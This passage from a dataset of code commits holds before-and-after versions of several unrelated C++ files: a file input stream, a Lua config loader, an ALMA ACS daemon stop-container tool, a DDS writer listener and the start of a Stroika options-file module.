&pool,\n const char *path,\n int fd, FdType fd_type, off_t length)\n{\n assert(fd >= 0);\n assert(length >= -1);\n\n return NewIstream<FileIstream>(pool, event_loop, fd, fd_type, length, path);\n}\n\nIstream *\nistream_file_stat_new(EventLoop &event_loop, struct pool &pool,\n const char *path, struct stat &st,\n GError **error_r)\n{\n assert(path != nullptr);\n\n UniqueFileDescriptor fd;\n if (!fd.OpenReadOnly(path)) {\n set_error_errno(error_r);\n g_prefix_error(error_r, \"Failed to open %s: \", path);\n return nullptr;\n }\n\n if (fstat(fd.Get(), &st) < 0) {\n set_error_errno(error_r);\n g_prefix_error(error_r, \"Failed to stat %s: \", path);\n return nullptr;\n }\n\n FdType fd_type = FdType::FD_FILE;\n off_t size = st.st_size;\n\n if (S_ISCHR(st.st_mode)) {\n fd_type = FdType::FD_CHARDEV;\n size = -1;\n }\n\n return istream_file_fd_new(event_loop, pool, path,\n fd.Steal(), fd_type, size);\n}\n\nIstream *\nistream_file_new(EventLoop &event_loop, struct pool &pool,\n const char *path, off_t length,\n GError **error_r)\n{\n assert(length >= -1);\n\n UniqueFileDescriptor fd;\n if (!fd.OpenReadOnly(path)) {\n set_error_errno(error_r);\n g_prefix_error(error_r, \"Failed to open %s: \", path);\n return nullptr;\n }\n\n return istream_file_fd_new(event_loop, pool, path,\n fd.Steal(), FdType::FD_FILE, length);\n}\n\nint\nistream_file_fd(Istream &istream)\n{\n auto &file = (FileIstream &)istream;\n assert(file.fd >= 0);\n return file.fd;\n}\n\nbool\nistream_file_set_range(Istream &istream, off_t start, off_t end)\n{\n assert(start >= 0);\n assert(end >= start);\n\n auto &file = (FileIstream &)istream;\n assert(file.fd >= 0);\n assert(file.rest >= 0);\n assert(file.buffer.IsNull());\n assert(end <= file.rest);\n\n if (start > 0 && lseek(file.fd, start, SEEK_CUR) < 0)\n return false;\n\n file.rest = end - start;\n return true;\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"Manager.hpp\"\n\n#include <string>\n#include <vector>\n#include <stdexcept>\n#include <algorithm>\n\n#include <boost\/program_options.hpp>\n#include <boost\/filesystem.hpp>\n\nint\nsmain(int argc, char *argv[]) {\n namespace po = boost::program_options;\n namespace fs = boost::filesystem;\n\n po::options_description desc(\"Allowed options\");\n desc.add_options()\n (\"help,h\", \"help message\")\n (\"config-path,c\", po::value< std::vector<std::string> >(), \"configuration path\")\n ;\n\n po::variables_map vm;\n po::store(po::parse_command_line(argc, argv, desc), vm);\n po::notify(vm);\n\n if(vm.count(\"help\")) {\n std::cerr << desc << \"\\n\";\n return 1;\n }\n\n std::vector<std::string> files;\n\n if(vm.count(\"config-path\")) {\n auto conf_path = vm[\"config-path\"].as< std::vector<std::string> >();\n for(std::string &dir : conf_path) {\n fs::path p(dir);\n if(fs::is_regular_file(p) && 0 == p.extension().compare(\".lua\") && file_size(p) > 0) {\n files.push_back(p.native());\n }\n else if (fs::is_directory(p)) {\n std::for_each(fs::directory_iterator(p), fs::directory_iterator(),\n [&](fs::directory_entry &de) {\n fs::path p2 = de.path();\n if(fs::is_regular_file(p2) && 0 == p2.extension().compare(\".lua\") && file_size(p2) > 0) {\n files.push_back(p2.native());\n }\n }\n );\n }\n }\n }\n else {\n std::cerr << desc << \"\\n\";\n return 1;\n }\n\n \/\/ run it...\n lutop::Manager m;\n\n m.loadFiles(files);\n\n return 0;\n}\n\nint\nmain(int argc, char *argv[]) {\n try {\n return smain(argc, argv);\n }\n catch(std::exception const &e) {\n std::cerr << \"Exception: \" << e.what() << std::endl;\n return 1;\n }\n catch(...) {\n std::cerr << \"Unknown exception\" << std::endl;\n return 1;\n }\n}\n<commit_msg>boost::filesystem api in not stable...<commit_after>#include \"Manager.hpp\"\n\n#include <string>\n#include <vector>\n#include <stdexcept>\n#include <algorithm>\n\n#include <boost\/program_options.hpp>\n#include <boost\/filesystem.hpp>\n\nint\nsmain(int argc, char *argv[]) {\n namespace po = boost::program_options;\n namespace fs = boost::filesystem;\n\n po::options_description desc(\"Allowed options\");\n desc.add_options()\n (\"help,h\", \"help message\")\n (\"config-path,c\", po::value< std::vector<std::string> >(), \"configuration path\")\n ;\n\n po::variables_map vm;\n po::store(po::parse_command_line(argc, argv, desc), vm);\n po::notify(vm);\n\n if(vm.count(\"help\")) {\n std::cerr << desc << \"\\n\";\n return 1;\n }\n\n std::vector<std::string> files;\n\n if(vm.count(\"config-path\")) {\n auto conf_path = vm[\"config-path\"].as< std::vector<std::string> >();\n for(std::string &dir : conf_path) {\n fs::path p(dir);\n if(fs::is_regular_file(p) && (p.extension() == \".lua\") && file_size(p) > 0) {\n files.push_back(p.native());\n }\n else if (fs::is_directory(p)) {\n std::for_each(fs::directory_iterator(p), fs::directory_iterator(),\n [&](fs::directory_entry &de) {\n fs::path p2 = de.path();\n if(fs::is_regular_file(p2) && (p2.extension() == \".lua\") && file_size(p2) > 0) {\n files.push_back(p2.native());\n }\n }\n );\n }\n }\n }\n else {\n std::cerr << desc << \"\\n\";\n return 1;\n }\n\n \/\/ run it...\n lutop::Manager m;\n\n m.loadFiles(files);\n\n return 0;\n}\n\nint\nmain(int argc, char *argv[]) {\n try {\n return smain(argc, argv);\n }\n catch(std::exception const &e) {\n std::cerr << \"Exception: \" << e.what() << std::endl;\n return 1;\n }\n catch(...) {\n std::cerr << \"Unknown exception\" << std::endl;\n return 1;\n }\n}\n<|endoftext|>"} {"text":"<commit_before>\/*******************************************************************************\n * E.S.O. - ACS project\n *\n * \"@(#) $Id: acsdaemonStopContainer.cpp,v 1.9 2008\/06\/27 11:41:07 msekoran Exp $\"\n *\n * who when what\n * -------- ---------- ----------------------------------------------\n *\/\n\n\/** @file acsdaemonStopContainer.cpp\n * acsdaemonStopContainer is used to remotely stop container via ACS Deamon.\n * @htmlonly\n * <br><hr>\n * @endhtmlonly\n *\/ \n\n\n#include <acsutilPorts.h>\n#include <logging.h>\n#include <acsdaemonC.h>\n#include <ACSErrTypeCommon.h>\n#include <acsdaemonErrType.h>\n#include <getopt.h>\n\nstatic struct option long_options[] = {\n {\"help\", no_argument, 0, 'h'},\n {\"container\", required_argument, 0, 'c'},\n {\"instance\", required_argument, 0, 'i'},\n {\"host\", required_argument, 0, 'H'},\n {\"daemon\", required_argument, 0, 'd'},\n {\"additional\", required_argument, 0, 'a'},\n {0, 0, 0, '\\0'}};\n\nvoid \nusage(const char *argv)\n{\n ACE_OS::printf (\"\\n\\tusage: %s {-h} -i INSTANCE -t TYPE -c CONTAINER [-d DAEMONREF] [-H HOST] [-a more options]\", argv);\n ACE_OS::printf (\"\\t -h, --help show this help message\\n\");\n ACE_OS::printf (\"\\t -c, --container container name\\n\");\n ACE_OS::printf (\"\\t -i, --instance ACS instance to use\\n\");\n ACE_OS::printf (\"\\t -H, --host Host where to stop the container\\n\");\n ACE_OS::printf (\"\\t -d, --daemon Daemon reference\\n\");\n ACE_OS::printf (\"\\t -a, --additional passthrough options for stopContaner. Put options between \\\"\\\"\\n\");\n}\n\n\nint\nmain (int argc, char *argv[])\n{\n int c, instance = -1;\n ACE_CString daemonRef;\n ACE_CString hostName;\n ACE_CString containerName;\n ACE_CString additional;\n for(;;)\n {\n int option_index = 0;\n c = getopt_long (argc, argv, \"hc:i:d:H:a:\",\n long_options, &option_index); \n if (c==-1) break;\n switch(c)\n {\n case 'h':\n usage(argv[0]);\n return 0;\n case 'i':\n instance = ACE_OS::atoi(optarg);\n break;\n case 'd':\n daemonRef = optarg;\n break;\n case 'H':\n hostName = optarg;\n break;\n case 'c':\n containerName = optarg;\n break;\n case 'a':\n additional = optarg;\n break;\n }\n }\n if (instance == -1)\n {\n ACE_OS::printf(\"Error: instance is a mandatory option try %s -h\\n\", argv[0]);\n return -1;\n } \n\n if (containerName.length() == 0)\n {\n ACE_OS::printf(\"Error: container name is a mandatory option try %s -h\\n\", argv[0]);\n return -1;\n } \n\n\tLoggingProxy * logger = new LoggingProxy(0, 0, 31);\n\tif (logger)\n\t{\n\t\tLoggingProxy::init(logger);\n\t\tLoggingProxy::ProcessName(argv[0]);\n\t\tLoggingProxy::ThreadName(\"main\");\n\t}\n\telse\n\t\tACS_SHORT_LOG((LM_INFO, \"Failed to initialize logging.\"));\n\n\ttry\n\t{\n\t\t\/\/ Initialize the ORB.\n\t\tCORBA::ORB_var orb = CORBA::ORB_init (argc,argv,\"TAO\");\n\n\t\t\/\/ construct default one\n if (daemonRef.length() == 0)\n\t {\n if(hostName.length() == 0)\n {\n\t hostName = ACSPorts::getIP();\n } \n\t daemonRef = \"corbaloc::\";\n\t daemonRef = daemonRef + hostName + \":\" + ACSPorts::getContainerDaemonPort().c_str() + \"\/\" + ::acsdaemon::containerDaemonServiceName;\t\n\t ACS_SHORT_LOG((LM_INFO, \"Using local Container Daemon reference: '%s'\", daemonRef.c_str()));\n\t \n\t }\n else\n {\n ACS_SHORT_LOG((LM_INFO, \"Container Daemon reference obtained via command line: '%s'\", daemonRef.c_str()));\n }\n\n\n\t\tCORBA::Object_var obj = orb->string_to_object(daemonRef.c_str());\n\t\tif (CORBA::is_nil(obj.in()))\n\t\t{\n\t\t\tACS_SHORT_LOG((LM_INFO, \"Failed to resolve reference '%s'.\", daemonRef.c_str()));\n\t\t\treturn -1;\n\t\t}\n\n\t\tacsdaemon::ContainerDaemon_var daemon = acsdaemon::ContainerDaemon::_narrow(obj.in());\n\t\tif (CORBA::is_nil(daemon.in()))\n\t\t{\n\t\t\tACS_SHORT_LOG((LM_INFO, \"Failed to narrow reference '%s'.\", daemonRef.c_str()));\n\t\t\treturn -1;\n\t\t}\n\n\n ACS_SHORT_LOG((LM_INFO, \"Calling stop_container(%s, %d, %s).\", containerName.c_str(), instance, additional.c_str()));\n\n daemon->stop_container(containerName.c_str(), instance, additional.c_str());\n\n ACS_SHORT_LOG((LM_INFO, \"Container stop message issued.\"));\n\n\n\t}\n\tcatch (ACSErrTypeCommon::BadParameterEx &ex)\n\t{\n\t\tACSErrTypeCommon::BadParameterExImpl exImpl(ex);\n\t\texImpl.log();\n\t\treturn -1;\n\t}\n\tcatch (acsdaemonErrType::FailedToStopContainerEx &ex)\n\t{\n\t\tacsdaemonErrType::FailedToStopContainerExImpl exImpl(ex);\n\t\texImpl.log();\n\t\treturn -1;\n\t}\n\tcatch( CORBA::Exception &ex )\n\t{\n\t\tACS_SHORT_LOG((LM_INFO, \"Failed.\"));\n\t\tACE_PRINT_EXCEPTION (ex, ACE_TEXT (\"Caught unexpected exception:\"));\n\t\treturn -1;\n\t}\n\n\treturn 0;\n}\n\n\n\n\n\n<commit_msg>Added --synchronous (-s) option to invoke stop_container_sync() method instead of stop_container()<commit_after>\/*******************************************************************************\n * E.S.O. - ACS project\n *\n * \"@(#) $Id: acsdaemonStopContainer.cpp,v 1.9 2008\/06\/27 11:41:07 msekoran Exp $\"\n *\n * who when what\n * -------- ---------- ----------------------------------------------\n *\/\n\n\/** @file acsdaemonStopContainer.cpp\n * acsdaemonStopContainer is used to remotely stop container via ACS Deamon.\n * @htmlonly\n * <br><hr>\n * @endhtmlonly\n *\/ \n\n\n#include <acsutilPorts.h>\n#include <logging.h>\n#include <acsdaemonC.h>\n#include <ACSErrTypeCommon.h>\n#include <acsdaemonErrType.h>\n#include <getopt.h>\n\nstatic struct option long_options[] = {\n {\"help\", no_argument, 0, 'h'},\n {\"container\", required_argument, 0, 'c'},\n {\"instance\", required_argument, 0, 'i'},\n {\"host\", required_argument, 0, 'H'},\n {\"daemon\", required_argument, 0, 'd'},\n {\"additional\", required_argument, 0, 'a'},\n\t\t{\"synchronous\", no_argument, 0, 's'},\n {0, 0, 0, '\\0'}};\n\nvoid \nusage(const char *argv)\n{\n ACE_OS::printf (\"\\n\\tusage: %s {-h} -i INSTANCE -t TYPE -c CONTAINER [-d DAEMONREF] [-H HOST] [-a more options]\", argv);\n ACE_OS::printf (\"\\t -h, --help show this help message\\n\");\n ACE_OS::printf (\"\\t -c, --container container name\\n\");\n ACE_OS::printf (\"\\t -i, --instance ACS instance to use\\n\");\n ACE_OS::printf (\"\\t -H, --host Host where to stop the container\\n\");\n ACE_OS::printf (\"\\t -d, --daemon Daemon reference\\n\");\n ACE_OS::printf (\"\\t -a, --additional passthrough options for stopContaner. Put options between \\\"\\\"\\n\");\n\tACE_OS::printf (\"\\t -s, --synchronous Send the command to stop the container synchronously\\n\");\n\tACE_OS::printf (\"\\t The script will exit only when the container will have been fully stopped or if an error occurred\\n\");\n}\n\n\nint\nmain (int argc, char *argv[])\n{\n int c, instance = -1;\n ACE_CString daemonRef;\n ACE_CString hostName;\n ACE_CString containerName;\n ACE_CString additional;\n\tint sync_flag = 0;\n for(;;)\n {\n int option_index = 0;\n c = getopt_long (argc, argv, \"hc:i:d:H:a:s\",\n long_options, &option_index); \n if (c==-1) break;\n switch(c)\n {\n case 'h':\n usage(argv[0]);\n return 0;\n case 'i':\n instance = ACE_OS::atoi(optarg);\n break;\n case 'd':\n daemonRef = optarg;\n break;\n case 'H':\n hostName = optarg;\n break;\n case 'c':\n containerName = optarg;\n break;\n case 'a':\n additional = optarg;\n break;\n case 's':\n sync_flag = 1;\n break;\n }\n }\n if (instance == -1)\n {\n ACE_OS::printf(\"Error: instance is a mandatory option try %s -h\\n\", argv[0]);\n return -1;\n } \n\n if (containerName.length() == 0)\n {\n ACE_OS::printf(\"Error: container name is a mandatory option try %s -h\\n\", argv[0]);\n return -1;\n } \n\n\tLoggingProxy * logger = new LoggingProxy(0, 0, 31);\n\tif (logger)\n\t{\n\t\tLoggingProxy::init(logger);\n\t\tLoggingProxy::ProcessName(argv[0]);\n\t\tLoggingProxy::ThreadName(\"main\");\n\t}\n\telse\n\t\tACS_SHORT_LOG((LM_INFO, \"Failed to initialize logging.\"));\n\n\ttry\n\t{\n\t\t\/\/ Initialize the ORB.\n\t\tCORBA::ORB_var orb = CORBA::ORB_init (argc,argv,\"TAO\");\n\n\t\t\/\/ construct default one\n if (daemonRef.length() == 0)\n\t {\n if(hostName.length() == 0)\n {\n\t hostName = ACSPorts::getIP();\n } \n\t daemonRef = \"corbaloc::\";\n\t daemonRef = daemonRef + hostName + \":\" + ACSPorts::getContainerDaemonPort().c_str() + \"\/\" + ::acsdaemon::containerDaemonServiceName;\t\n\t ACS_SHORT_LOG((LM_INFO, \"Using local Container Daemon reference: '%s'\", daemonRef.c_str()));\n\t \n\t }\n else\n {\n ACS_SHORT_LOG((LM_INFO, \"Container Daemon reference obtained via command line: '%s'\", daemonRef.c_str()));\n }\n\n\n\t\tCORBA::Object_var obj = orb->string_to_object(daemonRef.c_str());\n\t\tif (CORBA::is_nil(obj.in()))\n\t\t{\n\t\t\tACS_SHORT_LOG((LM_INFO, \"Failed to resolve reference '%s'.\", daemonRef.c_str()));\n\t\t\treturn -1;\n\t\t}\n\n\t\tacsdaemon::ContainerDaemon_var daemon = acsdaemon::ContainerDaemon::_narrow(obj.in());\n\t\tif (CORBA::is_nil(daemon.in()))\n\t\t{\n\t\t\tACS_SHORT_LOG((LM_INFO, \"Failed to narrow reference '%s'.\", daemonRef.c_str()));\n\t\t\treturn -1;\n\t\t}\n\n\n\t\tACS_SHORT_LOG((LM_INFO, \"Calling stop_container(%s, %d, %s).\", containerName.c_str(), instance, additional.c_str()));\n\t\tif (sync_flag)\n\t\t{\n\t\t\tdaemon->stop_container_sync(containerName.c_str(), instance, additional.c_str());\n\t\t}\n\t\telse\n\t\t{\n\t\t\tdaemon->stop_container(containerName.c_str(), instance, additional.c_str());\n\t\t}\t\t\n\t\tACS_SHORT_LOG((LM_INFO, \"Container stop message issued.\"));\n\n\t}\n\tcatch (ACSErrTypeCommon::BadParameterEx &ex)\n\t{\n\t\tACSErrTypeCommon::BadParameterExImpl exImpl(ex);\n\t\texImpl.log();\n\t\treturn -1;\n\t}\n\tcatch (acsdaemonErrType::FailedToStopContainerEx &ex)\n\t{\n\t\tacsdaemonErrType::FailedToStopContainerExImpl exImpl(ex);\n\t\texImpl.log();\n\t\treturn -1;\n\t}\n\tcatch( CORBA::Exception &ex )\n\t{\n\t\tACS_SHORT_LOG((LM_INFO, \"Failed.\"));\n\t\tACE_PRINT_EXCEPTION (ex, ACE_TEXT (\"Caught unexpected exception:\"));\n\t\treturn -1;\n\t}\n\n\treturn 0;\n}\n\n\n\n\n\n<|endoftext|>"} {"text":"<commit_before>\/*******************************************************************************\n* ALMA - Atacama Large Millimiter Array\n* (c) European Southern Observatory, 2011 \n* \n* This library is free software; you can redistribute it and\/or\n* modify it under the terms of the GNU Lesser General Public\n* License as published by the Free Software Foundation; either\n* version 2.1 of the License, or (at your option) any later version.\n* \n* This library is distributed in the hope that it will be useful,\n* but WITHOUT ANY WARRANTY; without even the implied warranty of\n* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n* Lesser General Public License for more details.\n* \n* You should have received a copy of the GNU Lesser General Public\n* License along with this library; if not, write to the Free Software\n* Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA\n*\n* \"@(#) $Id: bulkDataNTWriterListener.cpp,v 1.3 2011\/10\/14 17:30:28 bjeram Exp $\"\n*\n* who when what\n* -------- -------- ----------------------------------------------\n* almadev 2011-10-14 created \n*\/\n\n#include \"bulkDataNTWriterListener.h\"\n\n#include <ACS_DDS_Errors.h>\n#include <iostream>\n\nusing namespace std;\n\nBulkDataNTWriterListener::BulkDataNTWriterListener(const char *name) :\n\t\ttopicName_m(name)\n{\n\tACS_TRACE(__PRETTY_FUNCTION__);\n\tsum_unacknowledged_sample = 0;\n\tmax_unacknowledged_sample =0;\n\titer=0;\n}\n\n\/\/ Implementation skeleton destructor\nBulkDataNTWriterListener::~BulkDataNTWriterListener ()\n{\n\tACS_TRACE(__PRETTY_FUNCTION__);\n}\n\nvoid BulkDataNTWriterListener::on_offered_deadline_missed (\n\t\t::DDS::DataWriter* writer,\n\t\tconst ::DDS::OfferedDeadlineMissedStatus & status)\n{\n\tcerr << topicName_m << \" BulkDataNTWriterListener::on_offered_deadline_missed\" << endl;\n}\n\nvoid BulkDataNTWriterListener::on_offered_incompatible_qos (\n\t\t::DDS::DataWriter* writer,\n\t\tconst ::DDS::OfferedIncompatibleQosStatus & status)\n{\n\tcerr << topicName_m << \" BulkDataNTWriterListener::on_offered_incompatible_qos\" << endl;\n}\n\n\nvoid BulkDataNTWriterListener::on_liveliness_lost (\n\t\t::DDS::DataWriter* writer,\n\t\tconst ::DDS::LivelinessLostStatus & status)\n{\n\tcerr << topicName_m << \" BulkDataNTWriterListener::on_liveliness_lost\" << endl;\n}\n\n\nvoid BulkDataNTWriterListener::on_publication_matched (\n\t\t::DDS::DataWriter* writer,\n\t\tconst ::DDS::PublicationMatchedStatus & status)\n{\n\tcerr << topicName_m << \" BulkDataNTWriterListener::on_publication_match\" << endl;\n}\n\nvoid BulkDataNTWriterListener::on_reliable_writer_cache_changed(DDSDataWriter* writer,\n\t\tconst DDS_ReliableWriterCacheChangedStatus& status)\n{\n\tsum_unacknowledged_sample += status.unacknowledged_sample_count;\n\tif( status.unacknowledged_sample_count > max_unacknowledged_sample)\n\t\tmax_unacknowledged_sample = status.unacknowledged_sample_count;\n\titer++;\n\/*\n\tcerr << \"==========> BDDDSWriterListenerImpl::on_reliable_writer_cache_changed\" << endl;\n\tcerr << \"==========> unacknowledged_sample_count: \" << status.unacknowledged_sample_count;\n\tcerr << \" unacknowledged_sample_count_peak: \" << status.unacknowledged_sample_count_peak << endl;\n*\/\n}\n\nvoid BulkDataNTWriterListener::on_reliable_reader_activity_changed(DDSDataWriter* writer,\n\t\tconst DDS::ReliableReaderActivityChangedStatus& status)\n{\n\tcerr << topicName_m << \" ==========> BulkDataNTWriterListener::on_reliable_reader_activity_changed:\" << endl;\n\tcerr << topicName_m << \" ==========>\tstatus.active_count:\" << status.active_count << endl;\n\tcerr << topicName_m << \" ==========>\tstatus.active_count_change:\" << status.active_count_change << endl;\n\tcerr << topicName_m << \" ==========>\tstatus.inactive_count:\" << status.inactive_count << endl;\n\tcerr << topicName_m << \" ==========>\tstatus.inactive_count_change:\" << status.inactive_count_change << endl;\n}\n\nvoid BulkDataNTWriterListener::on_destination_unreachable(DDSDataWriter* writer,\n\t\tconst DDS_InstanceHandle_t& handle,\n\t\tconst DDS_Locator_t& destination)\n{\n\tcerr << topicName_m << \" BulkDataNTWriterListener::on_destination_unreachable\" << endl;\n}\n\n\/*___oOo___*\/\n<commit_msg>implementd on_publication_matched<commit_after>\/*******************************************************************************\n* ALMA - Atacama Large Millimiter Array\n* (c) European Southern Observatory, 2011 \n* \n* This library is free software; you can redistribute it and\/or\n* modify it under the terms of the GNU Lesser General Public\n* License as published by the Free Software Foundation; either\n* version 2.1 of the License, or (at your option) any later version.\n* \n* This library is distributed in the hope that it will be useful,\n* but WITHOUT ANY WARRANTY; without even the implied warranty of\n* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n* Lesser General Public License for more details.\n* \n* You should have received a copy of the GNU Lesser General Public\n* License along with this library; if not, write to the Free Software\n* Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA\n*\n* \"@(#) $Id: bulkDataNTWriterListener.cpp,v 1.4 2012\/01\/12 11:41:38 bjeram Exp $\"\n*\n* who when what\n* -------- -------- ----------------------------------------------\n* almadev 2011-10-14 created \n*\/\n\n#include \"bulkDataNTWriterListener.h\"\n\n#include <ACS_DDS_Errors.h>\n#include <iostream>\n\nusing namespace std;\n\nBulkDataNTWriterListener::BulkDataNTWriterListener(const char *name) :\n\t\ttopicName_m(name)\n{\n\tACS_TRACE(__PRETTY_FUNCTION__);\n\tsum_unacknowledged_sample = 0;\n\tmax_unacknowledged_sample =0;\n\titer=0;\n}\n\n\/\/ Implementation skeleton destructor\nBulkDataNTWriterListener::~BulkDataNTWriterListener ()\n{\n\tACS_TRACE(__PRETTY_FUNCTION__);\n}\n\nvoid BulkDataNTWriterListener::on_offered_deadline_missed (\n\t\t::DDS::DataWriter* writer,\n\t\tconst ::DDS::OfferedDeadlineMissedStatus & status)\n{\n\tcerr << topicName_m << \" BulkDataNTWriterListener::on_offered_deadline_missed\" << endl;\n}\n\nvoid BulkDataNTWriterListener::on_offered_incompatible_qos (\n\t\t::DDS::DataWriter* writer,\n\t\tconst ::DDS::OfferedIncompatibleQosStatus & status)\n{\n\tcerr << topicName_m << \" BulkDataNTWriterListener::on_offered_incompatible_qos\" << endl;\n}\n\n\nvoid BulkDataNTWriterListener::on_liveliness_lost (\n\t\t::DDS::DataWriter* writer,\n\t\tconst ::DDS::LivelinessLostStatus & status)\n{\n\tcerr << topicName_m << \" BulkDataNTWriterListener::on_liveliness_lost\" << endl;\n}\n\n\nvoid BulkDataNTWriterListener::on_publication_matched (DDS::DataWriter* writer,\tconst DDS::PublicationMatchedStatus & status)\n{\n\tACS_TRACE(__FUNCTION__);\n}\/\/on_publication_matched\n\nvoid BulkDataNTWriterListener::on_reliable_writer_cache_changed(DDSDataWriter* writer,\n\t\tconst DDS_ReliableWriterCacheChangedStatus& status)\n{\n\tsum_unacknowledged_sample += status.unacknowledged_sample_count;\n\tif( status.unacknowledged_sample_count > max_unacknowledged_sample)\n\t\tmax_unacknowledged_sample = status.unacknowledged_sample_count;\n\titer++;\n\/*\n\tcerr << \"==========> BDDDSWriterListenerImpl::on_reliable_writer_cache_changed\" << endl;\n\tcerr << \"==========> unacknowledged_sample_count: \" << status.unacknowledged_sample_count;\n\tcerr << \" unacknowledged_sample_count_peak: \" << status.unacknowledged_sample_count_peak << endl;\n*\/\n}\n\nvoid BulkDataNTWriterListener::on_reliable_reader_activity_changed(DDSDataWriter* writer,\n\t\tconst DDS::ReliableReaderActivityChangedStatus& status)\n{\n\tcerr << topicName_m << \" ==========> BulkDataNTWriterListener::on_reliable_reader_activity_changed:\" << endl;\n\tcerr << topicName_m << \" ==========>\tstatus.active_count:\" << status.active_count << endl;\n\tcerr << topicName_m << \" ==========>\tstatus.active_count_change:\" << status.active_count_change << endl;\n\tcerr << topicName_m << \" ==========>\tstatus.inactive_count:\" << status.inactive_count << endl;\n\tcerr << topicName_m << \" ==========>\tstatus.inactive_count_change:\" << status.inactive_count_change << endl;\n}\n\nvoid BulkDataNTWriterListener::on_destination_unreachable(DDSDataWriter* writer,\n\t\tconst DDS_InstanceHandle_t& handle,\n\t\tconst DDS_Locator_t& destination)\n{\n\tcerr << topicName_m << \" BulkDataNTWriterListener::on_destination_unreachable\" << endl;\n}\n\n\/*___oOo___*\/\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright(c) Sophist Solutions, Inc. 1990-2016. All rights reserved\n *\/\n#include \"..\/StroikaPreComp.h\"\n\n#include \"..\/Characters\/Format.h\"\n#include \"..\/Execution\/Logger.h\"\n#include \"..\/IO\/FileSystem\/FileInputStream.h\"\n#include \"..\/IO\/FileSystem\/FileOutputStream.h\"\n#include \"..\/IO\/FileSystem\/PathName.h\"\n#include \"..\/IO\/FileSystem\/ThroughTmpFileWriter.h\"\n#include \"..\/IO\/FileSystem\/WellKnownLocations.h\"\n#include \"..\/Streams\/MemoryStream.h\"\n\n#include \"JSON\/Reader.h\"\n#include \"JSON\/Writer.h\"\n#include \"XML\/Reader.h\"\n#include \"XML\/Writer.h\"\n#include \"VariantValue.h\"\n\n#include \"OptionsFile.h\"\n\n\nusing namespace Stroika::Foundation;\nusing namespace Stroika::Foundation::Characters;\nusing namespace Stroika::Foundation::DataExchange;\nusing namespace Stroika::Foundation::Streams;\n\nusing Memory::BLOB;\n\n\n\n\n\/\/ Comment this in to turn on aggressive noisy DbgTrace in this module\n\/\/#define USE_NOISY_TRACE_IN_THIS_MODULE_ 1\n\n\n\n\n\n\/*\n ********************************************************************************\n ***************** DataExchange::OptionsFile::LoggerMessage *********************\n ********************************************************************************\n *\/\nOptionsFile::LoggerMessage::LoggerMessage (Msg msg, String fn)\n : fMsg (msg)\n , fFileName (fn)\n{\n}\n\nString OptionsFile::LoggerMessage::FormatMessage () const\n{\n switch (fMsg) {\n case Msg::eFailedToWriteFile:\n return Characters::Format (L\"Failed to write file: %s\", fFileName.Value ().c_str ());\n case Msg::eFailedToReadFile:\n return Characters::Format (L\"Failed to read file: %s\", fFileName.Value ().c_str ());\n case Msg::eFailedToParseReadFile:\n return Characters::Format (L\"Error analyzing configuration file '%s' - using defaults.\", fFileName.Value ().c_str ());\n case Msg::eFailedToParseReadFileBadFormat:\n return Characters::Format (L\"Error analyzing configuration file (because bad format) '%s' - using defaults.\", fFileName.Value ().c_str ());\n case Msg::eFailedToCompareReadFile:\n return Characters::Format (L\"Failed to compare configuration file: %s\", fFileName.Value ().c_str ());\n case Msg::eWritingConfigFile_SoDefaultsEditable:\n return Characters::Format (L\"Writing configuration file '%s' because not found (and so defaults are more easily seen and editable).\", fFileName.Value ().c_str ());\n case Msg::eWritingConfigFile_BecauseUpgraded:\n return Characters::Format (L\"Writing configuration file '%s' in a new location because the software has been upgraded.\", fFileName.Value ().c_str ());\n case Msg::eWritingConfigFile_BecauseSomethingChanged:\n return Characters::Format (L\"Writing configuration file '%s' because something changed (e.g. a default, or field added\/removed).\", fFileName.Value ().c_str ());\n case Msg::eFailedToWriteInUseValues:\n return Characters::Format (L\"Failed to write default (in use) values to file: %s\", fFileName.Value ().c_str ());\n default:\n RequireNotReached ();\n return String ();\n }\n}\n\n\n\n\n\n\/*\n ********************************************************************************\n ************************** DataExchange::OptionsFile ***************************\n ********************************************************************************\n *\/\nconst OptionsFile::ModuleDataUpgraderType OptionsFile::kDefaultUpgrader = [] (const Memory::Optional<Configuration::Version>& version, const VariantValue& rawVariantValue) -> VariantValue {\n return rawVariantValue;\n};\n\nconst OptionsFile::LoggerType OptionsFile::kDefaultLogger =\n [] (const LoggerMessage& message)\n{\n using Execution::Logger;\n Logger::Priority priority = Logger::Priority::eError;\n using Msg = OptionsFile::LoggerMessage::Msg;\n switch (message.fMsg) {\n case Msg::eFailedToReadFile:\n priority = Logger::Priority::eWarning; \/\/ could be just because new system, no file\n break;\n case Msg::eWritingConfigFile_SoDefaultsEditable:\n case Msg::eWritingConfigFile_BecauseUpgraded:\n case Msg::eWritingConfigFile_BecauseSomethingChanged:\n priority = Logger::Priority::eInfo;\n break;\n\n case Msg::eFailedToParseReadFile:\n case Msg::eFailedToParseReadFileBadFormat:\n \/\/ Most likely very bad - as critical configuration data will be lost, and overwritten with 'defaults'\n priority = Logger::Priority::eCriticalError;\n break;\n }\n Logger::Get ().Log (priority, L\"%s\", message.FormatMessage ().c_str ());\n};\n\nconst OptionsFile::ModuleNameToFileNameMapperType OptionsFile::mkFilenameMapper (const String& appName)\n{\n String useAppName = appName;\n return\n [useAppName] (const String & moduleName, const String & fileSuffix) -> String {\n return IO::FileSystem::WellKnownLocations::GetApplicationData() + useAppName + String (IO::FileSystem::kPathComponentSeperator) + moduleName + fileSuffix;\n }\n ;\n}\n\nconst OptionsFile::ModuleNameToFileVersionMapperType OptionsFile::kDefaultModuleNameToFileVersionMapper = [] (const String& moduleName) -> Optional<Configuration::Version> {\n return Optional<Configuration::Version> (); \/\/ default to dont know\n};\n\n\n\n\/\/ Consider using XML by default when more mature\nconst VariantReader OptionsFile::kDefaultReader = JSON::Reader ();\nconst VariantWriter OptionsFile::kDefaultWriter = JSON::Writer ();\n\n\n\n\n\n\nOptionsFile::OptionsFile (\n const String& modName,\n const ObjectVariantMapper& mapper,\n ModuleDataUpgraderType moduleUpgrader,\n ModuleNameToFileNameMapperType moduleNameToFileNameMapper,\n ModuleNameToFileVersionMapperType moduleNameToReadFileVersion,\n LoggerType logger,\n VariantReader reader,\n VariantWriter writer\n)\n : OptionsFile (modName, mapper, moduleUpgrader, moduleNameToFileNameMapper, moduleNameToFileNameMapper, 